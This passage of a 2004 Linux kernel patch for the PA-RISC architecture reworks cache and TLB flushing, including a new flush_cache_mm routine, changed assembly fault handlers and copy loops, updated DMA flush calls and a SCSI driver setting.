+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+	unsigned long *pages;
+
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	pages = kmalloc(MAX_FLUSH_PAGES * sizeof(unsigned long), GFP_ATOMIC);
+	if(!pages) {
+		printk(KERN_ERR "flush_tlb_mm: allocation failed: full flush\n");
+		goto full_flush;
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(pte_val(*pte)==0 || !pte_present(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			
+			pages[actual_count] = start;
+		 
+			if (vma->vm_flags & VM_EXEC)
+				pages[actual_count] |= ICACHE_FLUSH_FLAG;
+			if(++actual_count >= MAX_FLUSH_PAGES)
+				goto full_flush_free;
+
+		}
+	}
+			
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+	for(count = 0; count < actual_count; count++) {
+		unsigned long addr = pages[count] & PAGE_MASK;
+		flush_user_dcache_page(addr);
+		if(pages[count] & ICACHE_FLUSH_FLAG) {
+			flush_user_icache_page(addr);
+			pitlb_user(addr);
+		}
+		pdtlb_user(addr);
+	}
+ out_free:
+	kfree(pages);
+ out:
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	return;
+
+ full_flush_free:
+	DBG("flush_cache_mm: over max pages %ld (count %ld), flushing everything\n", actual_count, count);
+	flush_cache_all();
+	goto out_free;
+
+ full_flush:
+	flush_cache_all();
+	goto out;
+}
+
+#else
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+#if 1
+	static int flushed = 0;
+
+	if(unlikely(!flushed)) {
+		printk("flush_cache_mm: INIT FLUSH ALL\n");
+		flushed = 1;
+		flush_cache_all();
+		return;
+	}
+#endif
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(!pte_present(*pte))
+				continue;
+
+			if(!pte_flush(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			page_begin_flush(pte);
+			pdtlb_user(start);
+			flush_user_dcache_page(start);
+			if (vma->vm_flags & VM_EXEC) {
+				flush_user_icache_page(start);
+				pitlb_user(start);
+			}
+			page_end_flush(pte);
+			pdtlb_user(start);
+			actual_count++;
+		}
+	}
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+}
+#endif
+
+EXPORT_SYMBOL(flush_cache_mm);
+
 /* Defined in arch/parisc/kernel/pacache.S */
 EXPORT_SYMBOL(flush_kernel_dcache_range_asm);
-EXPORT_SYMBOL(flush_kernel_dcache_page);
+EXPORT_SYMBOL(__flush_kernel_dcache_page);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
diff -Nru a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
--- a/arch/parisc/kernel/entry.S	Wed Apr 28 21:24:13 2004
+++ b/arch/parisc/kernel/entry.S	Wed Apr 28 21:24:13 2004
@@ -51,7 +51,6 @@
 	.level 2.0
 #endif
 
-	.import         pa_dbit_lock,data
 
 	/* space_to_prot macro creates a prot id from a space id */
 
@@ -479,16 +478,16 @@
 	/* Set the _PAGE_ACCESSED bit of the PTE.  Be clever and
 	 * don't needlessly dirty the cache line if it was already set */
 	.macro		update_ptep	ptep,pte,tmp,tmp1
-	ldi		_PAGE_ACCESSED,\tmp1
+	ldi		(_PAGE_ACCESSED|_PAGE_FLUSH),\tmp1
 	or		\tmp1,\pte,\tmp
-	and,COND(<>)	\tmp1,\pte,%r0
+	andcm,COND(=)	\tmp1,\pte,%r0
 	STREG		\tmp,0(\ptep)
 	.endm
 
 	/* Set the dirty bit (and accessed bit).  No need to be
 	 * clever, this is only used from the dirty fault */
 	.macro		update_dirty	ptep,pte,tmp,tmp1
-	ldi		_PAGE_ACCESSED|_PAGE_DIRTY,\tmp
+	ldi		_PAGE_ACCESSED|_PAGE_DIRTY|_PAGE_FLUSH,\tmp
 	or		\tmp,\pte,\pte
 	STREG		\pte,0(\ptep)
 	.endm
@@ -513,9 +512,13 @@
 
 	/* PAGE_USER indicates the page can be read with user privileges,
 	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
-	 * contains _PAGE_READ */
+	 * contains _PAGE_READ) */
 	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
 	depdi		7,11,3,\prot
+	/* In 2.0 we use the no cache bit exclusively for flush only
+	 * translations */
+	extrd,u,*=	\pte,_PAGE_NO_CACHE_BIT+32,1,%r0
+	depdi		1,12,1,\prot
 	/* If we're a gateway page, drop PL2 back to zero for promotion
 	 * to kernel privilege (so we can execute the page as kernel).
 	 * Any privilege promotion page always denys read and write */
@@ -1211,7 +1214,7 @@
 	get_pgd		spc,ptp
 	space_check	spc,t0,nadtlb_fault
 
-	L3_ptep		ptp,pte,t0,va,nadtlb_check_flush_20w
+	L3_ptep		ptp,pte,t0,va,nadtlb_emulate
 
 	update_ptep	ptp,pte,t0,t1
 
@@ -1222,23 +1225,6 @@
 	rfir
 	nop
 
-nadtlb_check_flush_20w:
-	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
-
-	/* Insert a "flush only" translation */
-
-	depdi,z         7,7,3,prot
-	depdi           1,10,1,prot
-
-	/* Get rid of prot bits and convert to page addr for idtlbt */
-
-	depdi		0,63,12,pte
-	extrd,u         pte,56,52,pte
-	idtlbt          pte,prot
-
-	rfir
-	nop
-
 #else
 
 dtlb_miss_11:
@@ -1295,7 +1281,7 @@
 
 	space_check	spc,t0,nadtlb_fault
 
-	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_11
+	L2_ptep		ptp,pte,t0,va,nadtlb_emulate
 
 	update_ptep	ptp,pte,t0,t1
 
@@ -1313,30 +1299,6 @@
 	rfir
 	nop
 
-nadtlb_check_flush_11:
-	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
-
-	/* Insert a "flush only" translation */
-
-	zdepi           7,7,3,prot
-	depi            1,10,1,prot
-
-	/* Get rid of prot bits and convert to page addr for idtlba */
-
-	depi		0,31,12,pte
-	extru		pte,24,25,pte
-
-	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
-	mtsp		spc,%sr1
-
-	idtlba		pte,(%sr1,va)
-	idtlbp		prot,(%sr1,va)
-
-	mtsp		t0, %sr1	/* Restore sr1 */
-
-	rfir
-	nop
-
 dtlb_miss_20:
 	space_adjust	spc,va,t0
 	get_pgd		spc,ptp
@@ -1368,7 +1330,7 @@
 
 	space_check	spc,t0,nadtlb_fault
 
-	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_20
+	L2_ptep		ptp,pte,t0,va,nadtlb_emulate
 
 	update_ptep	ptp,pte,t0,t1
 
@@ -1381,22 +1343,6 @@
 	rfir
 	nop
 
-nadtlb_check_flush_20:
-	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
-
-	/* Insert a "flush only" translation */
-
-	depdi,z         7,7,3,prot
-	depdi           1,10,1,prot
-
-	/* Get rid of prot bits and convert to page addr for idtlbt */
-
-	depdi		0,63,12,pte
-	extrd,u         pte,56,32,pte
-	idtlbt          pte,prot
-
-	rfir
-	nop
 #endif
 
 nadtlb_emulate:
diff -Nru a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
--- a/arch/parisc/kernel/pacache.S	Wed Apr 28 21:24:13 2004
+++ b/arch/parisc/kernel/pacache.S	Wed Apr 28 21:24:13 2004
@@ -308,6 +308,24 @@
 

 1:
+#ifdef __LP64__
+	ldd 0(%r25),%r19
+	ldd 8(%r25),%r20
+	ldd 16(%r25),%r21
+	ldd 24(%r25),%r22
+	std %r19,0(%r26)
+	std %r20,8(%r26)
+	std %r21,16(%r26)
+	std %r22,24(%r26)
+	ldd 32(%r25),%r19
+	ldd 40(%r25),%r20
+	ldd 48(%r25),%r21
+	ldd 56(%r25),%r22
+	std %r19,32(%r26)
+	std %r20,40(%r26)
+	std %r21,48(%r26)
+	std %r22,56(%r26)
+#else
 	ldw 0(%r25),%r19
 	ldw 4(%r25),%r20
 	ldw 8(%r25),%r21
@@ -340,6 +358,7 @@
 	stw %r20,52(%r26)
 	stw %r21,56(%r26)
 	stw %r22,60(%r26)
+#endif
 	ldo 64(%r26),%r26
 	ADDIB>  -1,%r1,1b
 	ldo 64(%r25),%r25
@@ -371,7 +390,6 @@
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
 
 	/*
 	 * We can't do this since copy_user_page is used to bring in
@@ -386,9 +404,9 @@
 	 * lobby for such a change.
 	 */
 
-	.export copy_user_page_asm,code
+	.export copy_user_page_vaddr_asm,code
 
-copy_user_page_asm:
+copy_user_page_vaddr_asm:
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -432,6 +450,24 @@
 

 1:
+#ifdef __LP64__
+	ldd 0(%r29),%r19
+	ldd 8(%r29),%r20
+	ldd 16(%r29),%r21
+	ldd 24(%r29),%r22
+	std %r19,0(%r28)
+	std %r20,8(%r28)
+	std %r21,16(%r28)
+	std %r22,24(%r28)
+	ldd 32(%r29),%r19
+	ldd 40(%r29),%r20
+	ldd 48(%r29),%r21
+	ldd 56(%r29),%r22
+	std %r19,32(%r28)
+	std %r20,40(%r28)
+	std %r21,48(%r28)
+	std %r22,56(%r28)
+#else
 	ldw 0(%r29),%r19
 	ldw 4(%r29),%r20
 	ldw 8(%r29),%r21
@@ -464,6 +500,7 @@
 	stw %r20,52(%r28)
 	stw %r21,56(%r28)
 	stw %r22,60(%r28)
+#endif
 	ldo 64(%r28),%r28
 	ADDIB>  -1,%r1,1b
 	ldo 64(%r29),%r29
@@ -473,7 +510,6 @@
 	.exit
 
 	.procend
-#endif
 
 	.export clear_user_page_asm,code
 
@@ -505,6 +541,16 @@
 	ldi 64,%r1
 
 1:
+#ifdef __LP64__
+	std %r0,0(%r28)
+	std %r0,8(%r28)
+	std %r0,16(%r28)
+	std %r0,24(%r28)
+	std %r0,32(%r28)
+	std %r0,40(%r28)
+	std %r0,48(%r28)
+	std %r0,56(%r28)
+#else
 	stw %r0,0(%r28)
 	stw %r0,4(%r28)
 	stw %r0,8(%r28)
@@ -521,6 +567,7 @@
 	stw %r0,52(%r28)
 	stw %r0,56(%r28)
 	stw %r0,60(%r28)
+#endif
 	ADDIB>  -1,%r1,1b
 	ldo 64(%r28),%r28
 
@@ -530,9 +577,9 @@
 
 	.procend
 
-	.export flush_kernel_dcache_page
+	.export __flush_kernel_dcache_page
 
-flush_kernel_dcache_page:
+__flush_kernel_dcache_page:
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -541,9 +588,11 @@
 	ldw     R%dcache_stride(%r1),%r23
 
 #ifdef __LP64__
-	depdi,z 1,63-PAGE_SHIFT,1,%r25
+	depdi,z 1,63-PAGE_SHIFT,1,%r25	/* PAGE_SIZE */
+	depdi	0,63,12,%r26		/* page align */
 #else
-	depwi,z 1,31-PAGE_SHIFT,1,%r25
+	depwi,z 1,31-PAGE_SHIFT,1,%r25	/* PAGE_SIZE */
+	depwi	0,31,PAGE_SHIFT,%r26	/* page align */
 #endif
 	add     %r26,%r25,%r25
 	sub     %r25,%r23,%r25
@@ -585,9 +634,11 @@
 	ldw     R%dcache_stride(%r1),%r23
 
 #ifdef __LP64__
-	depdi,z 1,63-PAGE_SHIFT,1,%r25
+	depdi,z 1,63-PAGE_SHIFT,1,%r25  /* PAGE_SIZE into %r25 */
+	depdi	0,63,12,%r26		/* page align argument */
 #else
-	depwi,z 1,31-PAGE_SHIFT,1,%r25
+	depwi,z 1,31-PAGE_SHIFT,1,%r25	/* PAGE_SIZE */
+	depwi	0,31,12,%r26		/* Page align */
 #endif
 	add     %r26,%r25,%r25
 	sub     %r25,%r23,%r25
@@ -630,8 +681,10 @@
 
 #ifdef __LP64__
 	depdi,z 1,63-PAGE_SHIFT,1,%r25
+	depdi	0,63,12,%r26
 #else
 	depwi,z 1,31-PAGE_SHIFT,1,%r25
+	depwi	0,31,12,%r26
 #endif
 	add     %r26,%r25,%r25
 	sub     %r25,%r23,%r25
diff -Nru a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
--- a/arch/parisc/kernel/pci-dma.c	Wed Apr 28 21:24:13 2004
+++ b/arch/parisc/kernel/pci-dma.c	Wed Apr 28 21:24:13 2004
@@ -362,7 +362,7 @@
 	size = 1 << (order + PAGE_SHIFT);
 	vaddr = pcxl_alloc_range(size);
 	paddr = __get_free_pages(flag, order);
-	flush_kernel_dcache_range(paddr, size);
+	flush_kernel_dcache_range_asm(paddr, paddr + size);
 	paddr = __pa(paddr);
 	map_uncached_pages(vaddr, size, paddr);
 	*dma_handle = (dma_addr_t) paddr;
@@ -396,12 +396,13 @@
 		BUG();
 	}
 
-	flush_kernel_dcache_range((unsigned long) addr, size);
+	flush_kernel_dcache_range_asm((unsigned long) addr, (unsigned long)addr + size);
 	return virt_to_phys(addr);
 }
 
 static void pa11_dma_unmap_single(struct device *dev, dma_addr_t dma_handle, size_t size, enum dma_data_direction direction)
 {
+	unsigned long addr = (unsigned long)phys_to_virt(dma_handle);
 	if (direction == DMA_NONE) {
 		printk(KERN_ERR "pa11_dma_unmap_single(PCI_DMA_NONE) called by %p\n", __builtin_return_address(0));
 		BUG();
@@ -416,7 +417,7 @@
 	 * pci_dma_sync_single_* has been called and the buffer reused.
 	 */
 
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle), size);
+	flush_kernel_dcache_range_asm(addr, addr + size);
 	return;
 }
 
@@ -431,7 +432,7 @@
 		unsigned long vaddr = sg_virt_addr(sglist);
 		sg_dma_address(sglist) = (dma_addr_t) virt_to_phys(vaddr);
 		sg_dma_len(sglist) = sglist->length;
-		flush_kernel_dcache_range(vaddr, sglist->length);
+		flush_kernel_dcache_range_asm(vaddr, vaddr + sglist->length);
 	}
 	return nents;
 }
@@ -448,25 +449,29 @@
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
-	for (i = 0; i < nents; i++, sglist++ )
-		flush_kernel_dcache_range(sg_virt_addr(sglist), sglist->length);
+	for (i = 0; i < nents; i++, sglist++ ) {
+		unsigned long vaddr = sg_virt_addr(sglist);
+		flush_kernel_dcache_range_asm(vaddr, vaddr + sglist->length);
+	}
 	return;
 }
 
 static void pa11_dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, unsigned long offset, size_t size, enum dma_data_direction direction)
 {
+	unsigned long addr = (unsigned long)phys_to_virt(dma_handle) + offset;
 	if (direction == DMA_NONE)
 	    BUG();
 
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle) + offset, size);
+	flush_kernel_dcache_range_asm(addr, addr + size);
 }
 
 static void pa11_dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle, unsigned long offset, size_t size, enum dma_data_direction direction)
 {
+	unsigned long addr = (unsigned long)phys_to_virt(dma_handle) + offset;
 	if (direction == DMA_NONE)
 	    BUG();
 
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle) + offset, size);
+	flush_kernel_dcache_range_asm(addr, addr + size);
 }
 
 static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
@@ -475,8 +480,10 @@
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
-	for (i = 0; i < nents; i++, sglist++ )
-		flush_kernel_dcache_range(sg_virt_addr(sglist), sglist->length);
+	for (i = 0; i < nents; i++, sglist++ ) {
+		unsigned long vaddr = sg_virt_addr(sglist);
+		flush_kernel_dcache_range_asm(vaddr, vaddr + sglist->length);
+	}
 }
 
 static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
@@ -485,8 +492,10 @@
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
-	for (i = 0; i < nents; i++, sglist++ )
-		flush_kernel_dcache_range(sg_virt_addr(sglist), sglist->length);
+	for (i = 0; i < nents; i++, sglist++ ) {
+		unsigned long vaddr = sg_virt_addr(sglist);
+		flush_kernel_dcache_range_asm(vaddr, vaddr + sglist->length);
+	}
 }
 
 struct hppa_dma_ops pcxl_dma_ops = {
diff -Nru a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
--- a/arch/parisc/kernel/signal.c	Wed Apr 28 21:24:13 2004
+++ b/arch/parisc/kernel/signal.c	Wed Apr 28 21:24:13 2004
@@ -375,10 +375,9 @@
 	}
 #endif
 
-	flush_user_dcache_range((unsigned long) &frame->tramp[0],
-			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
-	flush_user_icache_range((unsigned long) &frame->tramp[0],
-			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
+	__flush_cache_range(current->active_mm,
+			    (unsigned long) &frame->tramp[0],
+			    (unsigned long) &frame->tramp[TRAMP_SIZE]);
 
 	/* TRAMP Words 0-4, Lenght 5 = SIGRESTARTBLOCK_TRAMP
 	 * TRAMP Words 5-9, Length 4 = SIGRETURN_TRAMP
diff -Nru a/drivers/scsi/ncr53c8xx.c b/drivers/scsi/ncr53c8xx.c
--- a/drivers/scsi/ncr53c8xx.c	Wed Apr 28 21:24:13 2004
+++ b/drivers/scsi/ncr53c8xx.c	Wed Apr 28 21:24:13 2004
@@ -8621,6 +8621,7 @@
 	tpnt->sg_tablesize	= SCSI_NCR_SG_TABLESIZE;
 	tpnt->cmd_per_lun	= SCSI_NCR_CMD_PER_LUN;
 	tpnt->use_clustering	= DISABLE_CLUSTERING;
+	tpnt->max_sectors	= 8;
 
 	if (device->differential)
 		driver_setup.diff_support = device->differential;
diff -Nru a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
--- a/drivers/video/console/sticore.c	Wed Apr 28 21:24:13 2004
+++ b/drivers/video/console/sticore.c	Wed Apr 28 21:24:13 2004
@@ -237,7 +237,7 @@
 static void sti_flush(unsigned long from, unsigned long len)
 {
 	flush_data_cache();
-	flush_kernel_dcache_range(from, len);
+	flush_kernel_dcache_range(from, from+len);
 	flush_icache_range(from, from+len);
 }
 
diff -Nru a/include/asm-parisc/cache.h b/include/asm-parisc/cache.h
--- a/include/asm-parisc/cache.h	Wed Apr 28 21:24:13 2004
+++ b/include/asm-parisc/cache.h	Wed Apr 28 21:24:13 2004
@@ -46,7 +46,7 @@
 extern void flush_kernel_icache_range_asm(unsigned long, unsigned long);
 extern void flush_user_dcache_range_asm(unsigned long, unsigned long);
 extern void flush_kernel_dcache_range_asm(unsigned long, unsigned long);
-extern void flush_kernel_dcache_page(void *);
+extern void __flush_kernel_dcache_page(void *);
 extern void flush_kernel_icache_page(void *);
 extern void disable_sr_hashing(void);   /* turns off space register hashing */
 extern void disable_sr_hashing_asm(int); /* low level support for above */
@@ -63,9 +63,11 @@
 extern int icache_stride;
 extern struct pdc_cache_info cache_info;
 
-#define pdtlb(addr)         asm volatile("pdtlb 0(%%sr1,%0)" : : "r" (addr));
-#define pitlb(addr)         asm volatile("pitlb 0(%%sr1,%0)" : : "r" (addr));
-#define pdtlb_kernel(addr)  asm volatile("pdtlb 0(%0)" : : "r" (addr));
+#define pdtlb(addr)         asm volatile("pdtlb 0(%%sr1,%0)" : : "r" (addr))
+#define pitlb(addr)         asm volatile("pitlb 0(%%sr1,%0)" : : "r" (addr))
+#define pdtlb_kernel(addr)  asm volatile("pdtlb 0(%0)" : : "r" (addr))
+#define pdtlb_user(addr)    asm volatile("pdtlb 0(%%sr3,%0)" : : "r" (addr))
+#define pitlb_user(addr)    asm volatile("pitlb 0(%%sr3,%0)" : : "r" (addr))
 
 #endif /* ! __ASSEMBLY__ */
 
diff -Nru a/include/asm-parisc/cacheflush.h b/include/asm-parisc/cacheflush.h
--- a/include/asm-parisc/cacheflush.h	Wed Apr 28 21:24:13 2004
+++ b/include/asm-parisc/cacheflush.h	Wed Apr 28 21:24:13 2004
@@ -9,14 +9,7 @@
 
 /* Cache flush operations */
 
-#ifdef CONFIG_SMP
-#define flush_cache_mm(mm) flush_cache_all()
-#else
-#define flush_cache_mm(mm) flush_cache_all_local()
-#endif
-
-#define flush_kernel_dcache_range(start,size) \
-	flush_kernel_dcache_range_asm((start), (start)+(size));
+extern void flush_cache_mm(struct mm_struct *);
 
 extern void flush_cache_all_local(void);
 
@@ -33,53 +26,6 @@
 #define flush_cache_vmap(start, end)		flush_cache_all()
 #define flush_cache_vunmap(start, end)		flush_cache_all()
 
-/* The following value needs to be tuned and probably scaled with the
- * cache size.
- */
-
-#define FLUSH_THRESHOLD 0x80000
-
-static inline void
-flush_user_dcache_range(unsigned long start, unsigned long end)
-{
-#ifdef CONFIG_SMP
-	flush_user_dcache_range_asm(start,end);
-#else
-	if ((end - start) < FLUSH_THRESHOLD)
-		flush_user_dcache_range_asm(start,end);
-	else
-		flush_data_cache();
-#endif
-}
-
-static inline void
-flush_user_icache_range(unsigned long start, unsigned long end)
-{
-#ifdef CONFIG_SMP
-	flush_user_icache_range_asm(start,end);
-#else
-	if ((end - start) < FLUSH_THRESHOLD)
-		flush_user_icache_range_asm(start,end);
-	else
-		flush_instruction_cache();
-#endif
-}
-
-extern void __flush_dcache_page(struct page *page);
-
-static inline void flush_dcache_page(struct page *page)
-{
-	struct address_space *mapping = page_mapping(page);
-
-	if (mapping && !mapping_mapped(mapping)) {
-		set_bit(PG_dcache_dirty, &page->flags);
-	} else {
-		__flush_dcache_page(page);
-	}
-}
-
-#define flush_icache_page(vma,page)	do { flush_kernel_dcache_page(page_address(page)); flush_kernel_icache_page(page_address(page)); } while (0)
-
 #define flush_icache_range(s,e)		do { flush_kernel_dcache_range_asm(s,e); flush_kernel_icache_range_asm(s,e); } while (0)
 
 #define copy_to_user_page(vma, page, vaddr, dst, src, len) \
@@ -89,49 +35,31 @@
 #define copy_from_user_page(vma, page, vaddr, dst, src, len) \
 	memcpy(dst, src, len)
 
-static inline void flush_cache_range(struct vm_area_struct *vma,
-		unsigned long start, unsigned long end)
-{
-	int sr3;
-
-	if (!vma->vm_mm->context) {
-		BUG();
-		return;
-	}
-
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
-	} else {
-		flush_cache_all();
-	}
-}
-
 /* Simple function to work out if we have an existing address translation
  * for a user space vma. */
-static inline int translation_exists(struct vm_area_struct *vma,
-				     unsigned long addr)
+static inline pte_t *__translation_exists(struct mm_struct *mm,
+					  unsigned long addr)
 {
-	pgd_t *pgd = pgd_offset(vma->vm_mm, addr);
+	pgd_t *pgd = pgd_offset(mm, addr);
 	pmd_t *pmd;
 	pte_t *pte;
 
 	if(pgd_none(*pgd))
-		return 0;
+		return NULL;
 
 	pmd = pmd_offset(pgd, addr);
 	if(pmd_none(*pmd) || pmd_bad(*pmd))
-		return 0;
+		return NULL;
 
 	pte = pte_offset_map(pmd, addr);
 
 	/* The PA flush mappings show up as pte_none, but they're
 	 * valid none the less */
 	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
-		return 0;
-	return 1;
+		return NULL;
+	return pte;
 }
+#define translation_exists(vma, addr)	__translation_exists((vma)->vm_mm, addr)
 

 /* Private function to flush a page from the cache of a non-current
@@ -142,7 +70,7 @@
  * the handlers have to fill in from the pgd of the non-current
  * process. */
 static inline void
-flush_user_cache_page_non_current(struct vm_area_struct *vma,
+flush_user_cache_page_non_current(pte_t *pte, struct vm_area_struct *vma,
 				  unsigned long vmaddr)
 {
 	/* save the current process space and pgd */
@@ -157,9 +85,15 @@
 	mtctl(__pa(vma->vm_mm->pgd), 25);
 	mtsp(vma->vm_mm->context, 3);
 
+	page_begin_flush(pte);
+	pdtlb_user(vmaddr);
 	flush_user_dcache_page(vmaddr);
-	if(vma->vm_flags & VM_EXEC)
+	if(vma->vm_flags & VM_EXEC) {
 		flush_user_icache_page(vmaddr);
+		pitlb_user(vmaddr);
+	}
+	page_end_flush(pte);
+	pdtlb_user(vmaddr);
 
 	/* put the old current process back */
 	mtsp(space, 3);
@@ -168,25 +102,165 @@
 }
 
 static inline void
-__flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
+__flush_cache_page(pte_t *pte, struct vm_area_struct *vma,
+		   unsigned long vmaddr)
 {
 	if (likely(vma->vm_mm->context == mfsp(3))) {
+		page_begin_flush(pte);
+		pdtlb_user(vmaddr);
 		flush_user_dcache_page(vmaddr);
-		if (vma->vm_flags & VM_EXEC)
+		if (vma->vm_flags & VM_EXEC) {
 			flush_user_icache_page(vmaddr);
+			pitlb_user(vmaddr);
+		}
+		page_end_flush(pte);
+		pdtlb_user(vmaddr);
+	} else {
+		flush_user_cache_page_non_current(pte, vma, vmaddr);
+	}
+}
+
+/* The following value needs to be tuned and probably scaled with the
+ * cache size.
+ */
+
+#define FLUSH_THRESHOLD 0x80000
+
+static inline void
+__flush_cache_range(struct mm_struct *mm, unsigned long start,
+		    unsigned long end)
+{
+	unsigned long vaddr;
+	pte_t *pte;
+
+	/* small range, don't bother to flush the whole page (and
+	 * thus don't mark the page as flushed */
+	if (likely(end - start < PAGE_SIZE)) {
+		flush_user_dcache_range_asm(start,end);
+		flush_user_icache_range_asm(start,end);
+		return;
+	}
+
+	for (vaddr = start & PAGE_MASK; vaddr < end; vaddr += PAGE_SIZE) {
+		if(unlikely(!(pte = __translation_exists(mm, vaddr))))
+			continue;
+
+		if (unlikely(!pte_flush(*pte)))
+			continue;
+
+		page_begin_flush(pte);
+		pdtlb_user(vaddr);
+		flush_user_dcache_page(vaddr);
+		flush_user_icache_page(vaddr);
+		page_end_flush(pte);
+		pdtlb_user(vaddr);
+		pitlb_user(vaddr);
+	}
+}
+
+static inline void flush_cache_range(struct vm_area_struct *vma,
+				     unsigned long start, unsigned long end)
+{
+	unsigned long sr3 = mfsp(3);
+
+	BUG_ON(!vma->vm_mm->context);
+
+	if (likely(vma->vm_mm->context == sr3)) {
+		__flush_cache_range(vma->vm_mm, start, end);
 	} else {
-		flush_user_cache_page_non_current(vma, vmaddr);
+		unsigned long pgd = mfctl(25);
+		/* we don't mind taking interrups since they may not
+		 * do anything with user space, but we can't
+		 * be preempted here */
+		preempt_disable();
+
+		/* make us current */
+		mtctl(__pa(vma->vm_mm->pgd), 25);
+		mtsp(vma->vm_mm->context, 3);
+
+		__flush_cache_range(vma->vm_mm, start, end);
+
+		/* put the old current process back */
+		mtsp(sr3, 3);
+		mtctl(pgd, 25);
+		preempt_enable();
+
+	}
+}
+
+extern void __flush_dcache_page(struct page *page);
+
+static inline void flush_dcache_page(struct page *page)
+{
+	struct address_space *mapping = page_mapping(page);
+
+	if (!mapping || mapping_mapped(mapping))
+		__flush_dcache_page(page);
+}
+
+static inline void flush_kernel_dcache_page(void *vaddr)
+{
+	pte_t *pte = __translation_exists(&init_mm, (unsigned long)vaddr);
+
+	if (likely(pte && pte_flush(*pte))) {
+		page_begin_flush(pte);
+		pdtlb_kernel(vaddr);
+		__flush_kernel_dcache_page(vaddr);
+		page_end_flush(pte);
+		pdtlb_kernel(vaddr);
 	}
 }
 
 static inline void
 flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 {
+	pte_t *pte = translation_exists(vma, vmaddr);
+
 	BUG_ON(!vma->vm_mm->context);
 
-	if(likely(translation_exists(vma, vmaddr)))
-		__flush_cache_page(vma, vmaddr);
+	if (likely(pte && pte_flush(*pte))) {
+		__flush_cache_page(pte, vma, vmaddr);
+	}
+
+}
+
+static inline void
